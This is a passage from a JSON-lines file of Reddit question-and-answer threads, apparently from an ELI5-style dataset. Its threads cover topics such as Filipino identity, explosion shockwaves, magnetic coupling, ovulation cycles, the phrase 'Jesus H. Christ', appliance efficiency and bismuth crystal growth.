4chan doesn't identify with or for anyone, it's a giant cesspool of all people identities and opinions loaded together and fired at each other."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/V_for_Vendetta"], [], [], []]}
{"q_id": "421734", "title": "are filipinos hispanic?", "selftext": "Why or why not?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/421734/eli5_are_filipinos_hispanic/", "answers": {"a_id": ["cz6qx87", "cz6r5ux"], "score": [4, 5], "text": ["No. In the Philippines, people speak English and Filipino. Hispanic means coming from a country where Spanish is the dominant language. ", "Some of them are, but most are not. The term \"Hispanic\" as it is used in the United States is a little made up, a creation of the Census Bureau. It requires that persons \"trace their origin or descent\" to a Spanish culture; theoretically, they could be from anywhere in the world. Most Filipinos do not identify as Hispanic, and it does not make much sense for them to do, since most do not speak Spanish and have little connection to Spanish culture.\n\nIn ordinary parlance, the term is really only applied to people from the Spanish-speaking Americas. People from Spain are more likely to identify as Spaniards than as \"Hispanic\"--but they technically meet the census definition."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2y5uod", "title": "if an explosion is coming at you in a tunnel will jumping into a doorway/crevasse actually save you?", "selftext": "Basically, like the movie Skyfall or Independence day, where an explosion has occurred and the fire / blast is traveling down the tunnel, if you jump into a nook or doorway will the fire really just go straight past you? Or would it expand into any space?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2y5uod/eli5_if_an_explosion_is_coming_at_you_in_a_tunnel/", "answers": {"a_id": ["cp6i3nf", "cp6i4j8", "cp6nb5j", "cp77puv"], "score": [15, 2, 6, 2], "text": ["No, in most cases it is not the fireball, but the shockwave that causes the most damage. Ducking in a doorway might help a little but not enough to save you from the pressure wave.", "Probably it would still be so hot you would get burnt. Also, if in a confined space the explosion would consume a lot of oxygen, and you would likely pass out from lack of it.", "Have you ever blown across the top of a straw and seen that neat thing where it causes the soda or whatever in your glass to be drawn up into the straw a little bit?  If you were in a little nook and an explosion went by the same [(Bernoulli)](_URL_0_) effect would come into play and you'd get sucked right out into it.\n\nAlso, that thing where an explosion happens and it's moving towards the protagonists down the hallway at freight train speed is not realistic.  Explosions travel faster than a bullet out of a gun, so any real life chance of dodging one is pretty much nonexistent. ", "The thing that kills you in explosions isn't the fireball. It's the shockwave that moves so fast the effects of it looks instantaneous. Basically bomb goes off -- >  People in lethal area of blast are blown into a mist of blood or stripped of limbs and generally blown apart before the fireball has even formed -- >  Ball of fire and smoke forms and blankets area. \n\nIn films the blast wave and fireball move at the same speed allowing people to dodge explosions. A more realistic alternative is that the explosion is not an explosion but a conflagration. Sherlock Holmes does this where they're on the dock and the barrels of alcohol are bursting into flame. A conflagration is a violent eruption of flame and while it can look like an explosion it does not have the massive energy release that high explosive produces meaning there is no ultra lethal shock wave to rip you apart. Just don't catch fire. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://en.wikipedia.org/wiki/Bernoulli%27s_principle"], []]}
{"q_id": "2iegmp", "title": "Can someone explain what is meant by 'coupling' in magnetism? When two paramagnetic or ferromagnetic atoms within the same structure couple, what is physically happening on a sub-atomic level?", "selftext": "I've been reading a bit about magnetism and I understand the basics.  But I've always had trouble with the concept of coupling.  What is actually going on in a physical sense?\n\nFor instance, in the NMR experiment we say neighbouring hydrogens can couple to each other.  Or, when we say that metal atoms in a molecule or a crystal lattice \"antiferromagnatically couple\" what exactly do we mean by couple?  Physically, what is happening on a sub-atomic level?\n\nHope that makes sense.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/2iegmp/can_someone_explain_what_is_meant_by_coupling_in/", "answers": {"a_id": ["cl1itz8", "cl1iwkm"], "score": [4, 4], "text": ["Basically it means that their energy depends on how they are oriented with each other. In a ferromagnet, there is less energy when the spins of neighboring atoms are pointing in the same direction, in an antiferromagnet when neighboring spins are pointing in opposite directions. If the spins are decoupled then the energy is independent of their relative orientation.\n\nA simpler example is \"spin-orbit coupling\" where the energy of an atom depends on whether the spin state of an electron (up or down) is aligned with the spin of its orbit around the nucleus.", "\"Coupling\" is simply the dressier way of saying \"interacting.\"  In NMR, the nuclear spin magnetic moments interact directly with one another and with the electrons in the local chemical bonds, perturbing one another.  In magnetic systems, the atomic magnetic moments interact with one another depending on the structure and nature of its environment.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2ms4by", "title": "the grid illusion", "selftext": "Why do you see little circles when looking at a grid of quadrilaterals that have gaps between them?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ms4by/eli5the_grid_illusion/", "answers": {"a_id": ["cm73zrs"], "score": [10], "text": ["Our vision, outside of the very middle part of our view which has high resolution, is actually pretty fuzzy. We don't actually see a lot of details there. Instead, we fill in the gaps with surrounding data.\n\nOur vision system evolved to deal with natural views, which generally don't have sharply contrasting patterns. So, a pattern like this throws our vision system off a bit. It makes guesses that aren't accurate.\n\nWith the grid illusion, we can detect the edges of the grid squares fairly well, and we can see there is a light color and a dark color. But where the lines cross, there's an area further from any edge. So our vision system says, \"there's black in this area, and white in this area, but there are no edges here...eh, I guess it's probably grayish then.\" And that's why you see the fuzzy gray dots."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "f43a2b", "title": "At what point of human or hominid evolutionary history did short-term (monthly) ovulation cycles become the reproductive norm?", "selftext": "I've done some brief reading on the topic, and it appears that bats and great apes (and humans) are the main branches of mammal species that have short-term ovulation cycles rather than just a few fertile seasons per year.\n\nIn our evolutionary history, at what point did this become common?\n\nAs a follow up question, do we have any evidence of a rapid population growth due to increased year-round fertility of a hominid or precursor species?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/f43a2b/at_what_point_of_human_or_hominid_evolutionary/", "answers": {"a_id": ["fho30xu", "fho7ghn", "fho9ffs", "fhov37l", "fhpfwmh", "fhq2ab6"], "score": [1869, 181, 26, 2, 7, 4], "text": ["\nIt's not just great apes either, at least some old world monkeys have similar cycling (rhesus monkeys for example).\n\nKind of informed speculating here but I think two things are going on.  First, most primates live in fairly nonseasonal habitats and food availability is fairly constant year round.  Animals in these environments are less likely to have strong breeding seasons.  This is likely enhanced by the long parental care primates provide: if you have an infant around for a year, there's less reason to ensure it's born at exactly the right time since it's going to be a baby through all the seasons anyway.  \n\nThe actual length of the cycle isn't remarkable for a nonseasonal mammal as far as I can tell.", "Human Physiologist here: Gosh I wish I knew. I can say that the endocrine pattern of human females is the best metric of fertility periods and that it's really hard to measure or estimate post-mortem.  I believe I was taught that the once-annual fertility period was replaced with the \"short cycle\" fertility period somewhere between the evolution of Australopithecus to the Homo (As in Homo Sapien) genus but I don't know how or why. Looking at other mammals it seems to have evolved contingent upon reliable resource availability and the shortening of gestation period.  I credit u/dusmeydin with a great question. If there are any verified Evolutionary Biologists (possibly u/bjornostman or u/DrDorris ?)  hopefully they can help you.", "From some of the research that I've read it, in hunter gathering societies the monthly ovarian cycle isn't as normal. \n\nWhat I was reading was that most hunter gathering societies lactation would delay the ovarian cycle till the woman/family was ready to have another baby. So a woman may lactate for 2-3 years and only have her period after she was done breastfeeding.\n\n & #x200B;\n\nFrom:\n\n[_URL_0_](_URL_0_)", "A bigger question I've always wondered about is why is the human menstrual cycle roughly synced with the lunar cycle? Is this just coincidence? Or does the moon have some effect (like tides) on biological organisms on Earth?", "Friendly neighborhood Paleoanthropologist here! Here's my two cents...I'm throwing this together quick so excuse the lack of citations. I think your question comes down to the human trait of concealed estrus. This is the phenomena in which menstrual cycles of ovulation become hidden from both males and females. Neither sex in a society or population knows when any one female is ovulating. What are the evolutionary implications of this? There are competing hypotheses - mostly they revolve around male-female interactions, precnancy, etc.\n\nSome believe it evolved to work as a form of birth control so that women could copulate outside of ovulation, some believe it was caused due to monogamy being the social structure of hominins (garbage in my opinion because I don't believe humans are monogamous), some believe it went along with a lack of competition for mates in males - if males don't know who is ovulating they cannot know who's young belong to who. There's also other things discussed but this is gonna be long I can feel it. \n\nOverall different natural selection pressures could have caused concealed estrus to different social or biological effects. It's also important to think about the complications of birth in Homo sapiens, we have it really bad when it comes to birth becuse of our bipedality. Some researchers think that this difficulty in birth could have been present before our species (as bipedalism is at the root of our evolutionary lineage) therefore, this concealed estrus and longer inbetween birth times could be linked. Babies have to be born small and helpless so we can fit them out of there, men do not know if it is theirs so there is no infanticide, babies take longer to mature so birth intervals become longer, breastfeeding can stop ovulation. It's a whole thing. Bipedalism became more \"human-like\" around the time of the Australopithecines so it's not impossible for evolutionary mechanisms to work their magic in that time. \n\nAs for your question on population growth, the short answer is no. It is so very difficult to find hominin fossils and with that limited data it is basically impossible to understand population size in our hominin ancestors. Plus, and this is very Malthusian of me, but with food resource availability I'm not sure that there would be any bigger effect because even if more babies were being born there's a chance they would not survive.", "_URL_0_\n\nThis may be the most fascinating/well written articles I've ever read on this subject"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.amazon.com/Why-Zebras-Dont-Ulcers-Stress-Related-ebook/dp/B0037NX018"], [], [], ["https://www.quora.com/Why-do-women-have-periods-What-is-the-evolutionary-benefit-or-purpose-of-having-periods-Why-can%E2%80%99t-women-just-get-pregnant-without-the-menstrual-cycle"]]}
{"q_id": "3hz8u2", "title": "Was it common for people to kill each other for verbal insults and blasphemy during the time of Muhammad?", "selftext": "Hello there, \n\nI am a non-native English speaker. I have no intention of offending anyone or their views, neither do I want to start a war of words over here. I am simply curious. Therefore, kindly do not take offence and excuse my grammatical mistakes. \n\nI was wondering: Was it common for people to kill each other on verbal insults (or abuse) or blasphemy during the time of Muhammad? Was this a common accepted practice among the tribes and people over there? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3hz8u2/was_it_common_for_people_to_kill_each_other_for/", "answers": {"a_id": ["cubx0d7"], "score": [12], "text": ["It's hard to say how common it was, although blood feuds between tribes certainly occurred and individuals did kill. One of Muhammad's changes was to declare that blood money would be paid after a murder; Muslims were not supposed to kill for revenge. However, if they insisted on blood, they could only take vengeance on the individual who committed the crime. Before this, it was legal to kill *any* male member of the offender's tribe (blood money also existed in pre-Islamic Arabia; Muhammad emphasized it, however). Personal insults were certainly a common cause of strife, and personal honor was personally and socially important to the people of the day. The nature of insults could run from the personal (\"You worthless dog!\") to the familial (\"A thousand curses on the womb that bore you!\") to the tribal (\"May fire consume every person who shares your blood!\"). Just as in the modern day, such insults could--and did--often lead to violence.\n\nThere is a story told that once, when Muhammad was praying at the Ka'aba (very early on in his prophetic career) and some of his detractors (specifically a man later known as Abu Jahl \u0623\u0628\u0648 \u062c\u0647\u0644) came and threw a bucket of blood and entrails on him. Muhammad's uncle Abu Talib, and his friend Hamza, took vengeance, but did not kill. Accounts vary from them beating the offenders bloody, or rubbing the entrails in their faces or beards. This could be an apocryphal story, however, as details of Muhammad's life were generally not recorded until a century after his death. Apocryphal or not, the story itself is repeated because it shows Muhammad responding in a way meant to illustrate the *right* way to do something, replacing the former.\n\nViolence was not the only way disputes were settled. Poetry was considered a very manly pursuit, and sometimes individuals would fight back and forth via poems--sort of an ancient version of today's freestyle rap battles.\n\nViolence was also accepted through raids on other tribes and caravans; this became a method of redistributing resources in a land where they were scarce.\n\nOne the legacies of Muhammad's life was his creation of a 'super-tribe'; the ummah, or Muslim community. One's allegiance to God and religion was meant to take the place of tribal loyalties; by the end of his life he had unified the Arabian peninsula, arguably for the first time ever. Sadly, tribalism is still a powerful force in Saudi Arabia today.\n\nOf course today we often read of violence and murder in the Islamic world, directed at those who insult Islam or Muhammad. As the Qur'an and ahadeeth often support this sort of thing, it would be wrong to say that Muhammad's teachings were pacifistic. It should be noted that his judgements against foes were harsher after the migration to Medina, when the ummah grew large enough to have some measure of power.\n\nSources:\n\nBloom, Jonathan and Shiela Blair (2002) *Islam: A Thousand Years of Faith and Power*\n\nHourani, Albert (1992) *A History of the Arab Peoples*\n\nLapidus, Ira (2002) *A History of Islamic Societies*\n\nLings, Martin (2006) *Muhammad: His Life According to the Earliest Sources*\n\nNB: On mobile at the moment; if you require more details or have follow up questions I'd be happy to address them when I get to my desktop."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "6ksi4e", "title": "When did Jesus earn the H in the swear, \"Jesus H. Christ\"?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/6ksi4e/when_did_jesus_earn_the_h_in_the_swear_jesus_h/", "answers": {"a_id": ["djoswm9", "djpihhf"], "score": [204, 4], "text": ["The earliest incidences of \"Jesus H. Christ\" that I can find occur in the late 19th century in the following story, attributed in [one source](_URL_5_) to \"A Texas paper\" and in [another](_URL_0_) more specifically to \"*Waxahatchie* (Tex.) *Mirror*\".\n\n >  The names Jesus and Christ sound very sacred to English speaking people but among the Spanish are very common names--given and surnames. At Laredo the other day Jesus H Christ registered at one of the hotels. We remember noting a few years ago that a Mexican named Jesus Christ had been hanged for horse stealing.\n\nThis is, incidentally, not a true statement about Spanish-language naming customs. \"Jes\u00fas\" is a common first name but I've never heard of a \"Cristo\" or \"Jesucristo\".\n\nAnyway, it's pretty clearly not related to the modern expression. [Google ngrams](_URL_4_) has it picking up after WWI and really hitting its stride in the 30s. The earliest example I can find that is clearly referring to the deity is this (rather poorly constructed) limerick [published](_URL_2_) in an anthology in 1927:\n\n    There was a young girl from Lancaster\n    Who'd do anything anyone asked her.\n         But when she got spliced\n         She got so high-priced\n    Only Jesus H. Christ and John Jacob Astor.\n\nSince that anthology doesn't clam originality, we can probably assume at least some people were using the initial by 1927. Incidentally, *spliced* in this context probably means \"married\", according to [Green's Dictionary](_URL_3_).\n\n...which leads me to the realization that I should have checked Green in the first place. He [traces](_URL_6_) the exclamation to \"late 19C\" (I don't have the paid membership so I can't see his sources). Green does not give his own explanation, but quotes Michael Quinion [here](_URL_1_):\n\n >  There have been various theories, but the one that seems most plausible is that it comes from the Greek monogram for Jesus, IHS or IHC. This is formed from the first two letters plus the last letter of His name in Greek (the letters iota, eta, and sigma; in the second instance, the C is a Byzantine Greek form of sigma). The H is actually the capital letter form of eta, but churchgoers who were unfamiliar with Greek took it to be a Latin H.\n\nThat is, IHC actually stands for three of the letters in \u1f38\u03b7\u03c3\u03bf\u1fe6\u03c2, but was reinterpreted as the savior's initials.\n\nQuinion also quotes Mark Twain, who said in a 1910 autobiography that the expression had been around for a while in 1850. But we have to keep in mind that (a) Mark Twain was far more interested in entertaining his audiences than in accurately representing his childhood, and (b) people are really bad at remembering when slang came in, and tend to retroactively insert not-yet-existing words into old conversations in their memories.\n\nSo the best I can say is that the phrase was attested as an exclamation in 1910, being used as a name for Jesus by 1927, and had reached some amount of frequency by 1940. It probably came from a misinterpretation of \"IHC\", but that's 100% guesswork.", "Hi, you may be interested in this response from /u/Nightingael\n\n* [Where did the H in Jesus H. Christ come from? And what does it stand for?](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://books.google.com/books?id=ZzBHAQAAMAAJ&amp;pg=PA20&amp;dq=%22Jesus+H.+Christ%22&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiejdeQ_urUAhVEND4KHV2BCC8Q6AEIOjAE#v=onepage&amp;q=%22Jesus%20H.%20Christ%22&amp;f=false", "http://www.worldwidewords.org/qa/qa-jes1.htm", "https://books.google.com/books?id=HDYeAAAAIAAJ&amp;q=%22Jesus+H.+Christ%22&amp;dq=%22Jesus+H.+Christ%22&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiGqazngOvUAhVCPj4KHTSmDMAQ6AEIMTAC", "https://greensdictofslang.com/entry/3f6kgki", "https://books.google.com/ngrams/graph?content=Jesus+H.+Christ&amp;year_start=1800&amp;year_end=2000&amp;corpus=15&amp;smoothing=3&amp;share=&amp;direct_url=t1%3B%2CJesus%20H.%20Christ%3B%2Cc0", "https://books.google.com/books?id=KaZRAAAAMAAJ&amp;pg=PA146&amp;dq=%22Jesus+H.+Christ%22&amp;hl=en&amp;sa=X&amp;ved=0ahUKEwiejdeQ_urUAhVEND4KHV2BCC8Q6AEILzAC#v=onepage&amp;q=%22Jesus%20H.%20Christ%22&amp;f=false", "https://greensdictofslang.com/entry/vi5qeqa"], ["https://www.reddit.com/r/AskHistorians/comments/36cawg/where_did_the_h_in_jesus_h_christ_come_from_and/"]]}
{"q_id": "8qw16z", "title": "Solar cells and TV's keep getting more power efficient, how about things like air conditioners, or other appliances?", "selftext": "Is an air conditioner of today leagues more efficient than one built 40 years ago? If not, why not? Are all of our things way better than they used to be or have some things hit a cap on how much we can refine them?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/8qw16z/solar_cells_and_tvs_keep_getting_more_power/", "answers": {"a_id": ["e0mik7a", "e0mkymq", "e0mnmph"], "score": [2, 12, 40], "text": ["Solar panels actually have a limit to how efficient they can get see [Shockley-Queisser limit] (_URL_0_).  There is a max amount of energy contained in sunlight as well which is roughly 1000W/m^2.\n\nSince air conditioners run on electricity, they get more efficient by using more efficient electricity.  Other things can help with efficiency as well like sealed windows, insulated walls, etc...", "Air conditioners have become more efficient over time with better compressors, ~~better~~ safer refrigerants, and better insulation (pipes, ducts, and buildings themselves).\n\nIn the US government standards on efficiency ([SEER](_URL_1_)) have also increased accordingly. You can't buy older, less efficient AC units anymore.\n\nThis article has a few details on some of the improvements in compressors and refrigerants:\n_URL_0_\n\nThere's still plenty of research in the area as well because there's a huge opportunity to reduce power costs by saving energy.", "The others have noted some good examples, I'll just add a bit of technical inclusion from a mechanical engineering/thermodynamic side:\n\nSpecifically for air conditioners, fridges, etc. there is a theoretical limit to how efficient they can be. This is called the [carnot efficiency](_URL_0_) and is a result of the second law of thermodynamics regarding entropy. Without a bunch of background, the basics is that when moving heat from hot to cold for the purpose of extracting work (as is the case for a typical power plant, or car engine, etc.) there is a limit to how efficient the 'heat engine' can be based on the temperatures of the 'hot' and 'cold' temperatures respectively. This is also true for refrigeration systems, which is essentially a heat engine in reverse. The Carnot efficiency is the efficiency of an ideal heat engine (no losses, no friction, completely reversible, etc.) operating under the same temperature limits.\n\nSpecifically, the maximum theoretical efficiency for a heat engine is:\n\n\u03b7_th = 1 - T_c / T_h\n\nwhere the Temperature of the 'cold' and 'hot' reservoirs are in Kelvin. This is the equation that applies to conventional heat engines, such as a car engine (if your gasoline burns at 1500 \u00b0F and the temperature outside is 70 \u00b0F, then your car engine could have a maximum efficiency of 73%, for example).\n\nSimilarly, refrigeration systems are typically measured in a coefficient of performance, not an efficiency, which is just a relationship between the total amount of energy that can be moved per unit energy, or\n\nCOP = Q_c / W_in\n\nwhere Q_c is the total amount of energy transfered during the cooling process and W_in is the work required. The theoretical limit for a refrigerator is \n\nCOP_th = T_c / (T_h - T_c)\n\nFor example in a typical fridge, where the fridge is held at 38 \u00b0F and your kitchen is at 78 \u00b0F, the maximum COP for your fridge is around 12.4, that is that in a perfect world you would need 1 Joule of energy for every 12.4 Joules of heat you wanted to move from your fridge to the kitchen. \n\nI've been trying to find information on COPs for modern fridges, but have yet to find any specific numbers. I can tell you that for sure it isn't anywhere close to this 12.4 limit, however. I'll update this if I find any detailed info. Real world cases will be much worse due to the presence of friction, viscous losses in the fluid, etc. and in reality we can never reach this theoretical limit. The thing to note, however, is that it's physically impossible, even in a perfect world with a frictionless motor/turbine/etc. to achieve a 100% efficiency. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Shockley%E2%80%93Queisser_limit"], ["https://www.thisoldhouse.com/ideas/air-conditioners-really-are-getting-better", "https://en.wikipedia.org/wiki/Seasonal_energy_efficiency_ratio"], ["https://en.wikipedia.org/wiki/Thermal_efficiency"]]}
{"q_id": "4xuixr", "title": "why does Bismuth crystallize into such a weird square shape?", "selftext": "it doesnt make sense for bismuth to look like [this](_URL_0_) when most crystalline metals are much less orderly structured.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4xuixr/why_does_bismuth_crystallize_into_such_a_weird/", "answers": {"a_id": ["d6ipwt4", "d6iqjre", "d6iuo2i", "d6iw1nz", "d6iypng", "d6jbwsk"], "score": [1446, 87, 242, 19, 20, 3], "text": [" > it doesnt make sense for bismuth to look like this when most crystalline metals are much less orderly structured.\n\n\nLiterally the definition of a crystal is that it has an ordered [e: repeating] long-range structure.  You're right that we don't see the crystal structure very often, and that's because [e: many of] the things we see that are crystalline at the microscopic level are made up of many small crystals instead of a few big crystals.  Generally speaking, the faster something is cooled, the smaller the crystals are. Bismuth has a low melting temperature, so it's relatively easy to cool it down slowly and end up with only a few relatively large crystals instead of a large number of small crystals. But the crystalline structure of other metals, like iron, is often visible.  If you've ever seen sort of \"splotchy\" galvanized steel that looked [something like this](_URL_1_), you've seen zinc crystals. You can see similar nickel-iron crystals in the [slice of this meteorite.](_URL_0_)", "In addition to the other commenter, bismuth only crystalizes like that under artificial conditions. Otherwise it has a similar crystal shape but not as neat looking.\n\nLook up halite (aka table salt), galena, and iron pyrite. All of these form approximate cubes in the right conditions. \n\nGalena looks like a Borg ship imo. ", "First of all, the rainbow colors are interference effects stemming from a layer of bismuth oxide on the bismuth crystals. If the oxide layer is in the 200-500 nm range, it's index of refraction becomes strongly wavelength dependent because light at some wavelengths can form a standing wave inside the oxide layer, while this is impossible at other wavelengths. Clean Bismuth is just a dull gray metal.\n\nAnyway, onto the crystal structure. Because of it's unit cel, which is rectangular, bismuth prefers to grow into rectangular crystals, and if you pick the right growth conditions you just end up with a cube of bismuth. It will be a dull grey cube too, so not particularely interesting. However, under usual growth conditions, Bismuth undergoes what's known as [hopper crystal growth](_URL_0_). Basically, bismuth atoms prefer to attach to the edge of a growing crystal rather than the faces. The result is that the crystal never fills in, but instead you get a fractal structure that consists of a large number of steps. The steps are rectangular because bismuth strongly prefers that crystal morphology.\n\n[Here](_URL_1_) is an example of naturally occuring Perovskite crystals showing the same kind of hopper crystal growth.\n\nIf you get a similar growth mode in a crystal that doesn't have such a strong preference for a specific morphology, or if the driving force for crystal growth is much larger than in the hopper growth case, you get dendritic growth instead, which results in snowflake-like patterns, such as in [these](_URL_2_) ammonium chloride crystals.", "Crystal growth can be an incredibly complicated process with several factors defining the shapes / morphologies you end up with. Temperature being one of the main ones as other commenters have mentioned, but also concentration of the species that is in the medium where crystallisation is taking place. The actual medium you crystallise from can also have a large effect on the shapes you end up with, among quite a few other factors, the Wikipedia page on crystallisation is a really good source of information with a lot more detailed information along with graphs and equations that define the processes during crystallisation.\n\nOne of the main things I've come across in my research that governs crystal shapes is a parameter called the supersaturation (or thermodynamic driving force). This is defined as the difference in chemical potential between the crystal structure (chemical potential in very simple terms is how much potential a system has to change) and the medium that it's crystallising from and is in fact goverened by temperature and concentration. \n\nCrystals grown under high supersaturation can have completely different morphologies to those under low supersaturation and grow via completely different means. Low supersaturation crystals commonly grow as spirals from a defect in the crystal known as a screw dislocation. Medium supersaturation crystals commonly grow by layers or by the birth-and-spread mechanism (layers catch up to one another). High supersaturation crystals can grow isotropically, so spots growing all over the place! \n\nThe overall morphology of the crystal is totally defined by these surface growing mechanisms, which can be studied with high powered microscopy techniques such as atomic force microscopy (AFM) - scanning electron microscopy can't investigate the surfaces of crystals on this scale! It is also quite interesting that the morphologies of crystals can sometimes appear from growth patterns you would expect to form completely different shapes, faujasite is a very interesting example!\n\nApologies for rambling but crystal growth is a massive and interesting field (I'm not biased, honestly) which is still under a great deal of study. If you're looking for other interesting shapes crystals, zeolite A, MFI, H-KUST-1 and UiO-66 all form regular but different shapes. But as for Bismuth, LOTS of factors govern the overall shape that we see and people are still trying to figure out how to control these.\n\n_URL_1_\n\n\n_URL_0_\n\nEDIT: Added some links to picture of some of the structures", "On the same subject, is bismuth toxic ? I'd like to make a bismuth jewelry for my gf, but read some things mentioning it is close to lead, or even plutonium, would long exposure to it be harmful ? Or if it has no contact with skin, would it be OK ? In that case I'd just make a bismuth bowl in a wooden box. Thanks in advance !", "Bismuth I believe is typically man made when you see it in the awesome cubic form you find at rock shops, I'm an avid collector of minerals (not a geologist AT ALL) example how to make: _URL_0_ I've always written it off as man made, similar to the super yellow citrine (usually heat treated amethyst), if you're a geologist or gemologist please correct me and let me know of a mine/region where this is naturally found."]}, "title_urls": [], "selftext_urls": ["http://www.bismuthcrystal.com/n23-566d.jpg"], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/3/36/Widmanstatten_hand.jpg", "https://en.wikipedia.org/wiki/Hot-dip_galvanization#/media/File:Feuerverzinkte_Oberfl%C3%A4che.jpg"], [], ["https://en.wikipedia.org/wiki/Hopper_crystal", "http://66.media.tumblr.com/e98efc0c4339a0230cf199d363414b64/tumblr_nuczsbACud1tt8afro1_1280.jpg", "https://s-media-cache-ak0.pinimg.com/564x/f7/22/b9/f722b935623a6027c5f32e1714813a62.jpg"], ["https://www.google.co.uk/search?q=lta+crystal&amp;rlz=1CDGOYI_enGB677GB677&amp;hl=en-GB&amp;prmd=insv&amp;source=lnms&amp;tbm=isch&amp;sa=X&amp;ved=0ahUKEwiRzLSZtsTOAhUKD8AKHTFMCDsQ_AUICCgB&amp;biw=320&amp;bih=492#hl=en-GB&amp;tbm=isch&amp;q=hkust+1+sem&amp;imgrc=J5HuRnscngstwM%3A", "http://hompi.sogang.ac.kr/zeolite/egall2.htm"], [], ["https://www.youtube.com/watch?v=ObDL3hIGuIU"]]}
{"q_id": "9ju0ib", "title": "how do tv and film writers go about writing insults about actors\u2019 looks into a show or movie?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9ju0ib/eli5_how_do_tv_and_film_writers_go_about_writing/", "answers": {"a_id": ["e6u8twe", "e6u8vys", "e6u9t49", "e6ua4dw", "e6ua74q", "e6uaguh", "e6ubea8", "e6ubf5y", "e6ucb69", "e6ufv9x"], "score": [38, 10, 17, 14, 5, 15, 9, 3, 2, 5], "text": ["I read once there's certain words to indicate \"ugly\" like \"seeking character actors\" in call sheets. Steve Buscemi is famous as a \"character actor.\"", "I would imagine they ask the actor if they are fine with it, and the actor could always ask for the line to be taken out if they were not.\\*\n\nAn actor confident enough in themselves will probably be able to laugh it off or will see it for what it is: a comment on the *character's* appearance, not their own.\n\n\\* Unless it's integral to the plot, of course. They wouldn't have got very far with making Ugly Betty if America Ferrera had objected to every insult, and I'm sure she would have been aware of the tone of the show before she accepted the role.", "You don't get to be a working actor without growing a thick skin. There's also context for the scene and why characters are saying something. If one character says your character \"looks like a camel\" it's for a reason, that reason *isn't* because you really look like a camel.", "Amateur writer here.\n\nSome scripts are cowritten by directors or producers. \n\nFat actors know they're fat. They are just thankful to be working. Same as actresses with big boobs. Ignoring it is strange too.\n\nCheck out Chevy Chase on Community. There was a lot of drama there because the writers were making his character look racist. ", "They get the script before they audition so they know the lines are in there before they accept or are chosen for the role. If they get the role and have objections to particular things they can address it with the director but most have a pretty thick skin after being judged their whole careers and won't object unless it's truly tasteless", "In the movie Home Alone, Buzz's girlfriend was actually the art director's son in costume; the producers thought it would be too mean to cast a girl as the ugly girlfriend.", "In some cases, I don\u2019t think any care goes into how those lines affect the actors\u2019 feelings. The writers of \u201cGrowing Pains\u201d put in so many fat jokes about Tracey Gold\u2019s character, and Tacey ended up becoming severely anorexic. She ended up missing most of the last season because of it. So, so sad.", "The characters are already created before casting and it is up to the actors to bring qualities of the character to life. The actors understand that everything on script is fictional including insults, romances, anger and even the physical aspects of acting such as the looking like their character. If they can write in a believable insult to match the character's physical description, then casting and writers did their job.", "I remember hearing on a podcast one time (cant remember which one, maybe joe rogan who knows) that most actors who play fat or ugly characters know damn well what they're auditioning for and sometimes enjoy it. Like a fat guy playing a stereotypical far guy enjoy playing the stereotypical fat guy. ", "Actors are paid to appear in films and TV shows. Keyword being 'appear'. Even if they're not out seeking leading man/leading lady-type roles, there's still the focus on appearances and that comes with a very conscious awareness of how one looks on stage or on camera. The whole process of learning to act forces you to confront your own physical appearance from the perspective of an audience and learning to manipulate that in order to convincingly embody the character you're playing. In other words, fat actors know they're fat. Ugly actors know they're ugly. They have to in order to do what they do. If you can't accept the way you look and use it to your advantage when you're playing a character, you're probably not going to make it as an actor.\n\nNevertheless, you still sometimes see actors speaking out about social issues regarding personal appearance and how negative stereotypes of, say, fat people are perpetuated through film and TV. Like fat actors talking about how they're tired of playing stereotyped characters like 'the insecure fat girl', 'the funny fat guy', etc., and would love the opportunity for more diverse roles. But again, those criticisms tend to stem from broader social concerns rather than personal discomfort. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], [], []]}
{"q_id": "skvrv", "title": "Has there been any recent discoveries regarding Gliese 581d?", "selftext": "I remember this planet came up a lot in the news as possibly holding liquid water, but haven't seen anything lately about it.\n\nSimilarly, has there been any new discovery of planets of a similar variety that can possibly hold liquid water/potential for life?\n", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/skvrv/has_there_been_any_recent_discoveries_regarding/", "answers": {"a_id": ["c4evlgp"], "score": [4], "text": ["Is Gliese 581d same thing as Keppler 22B?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
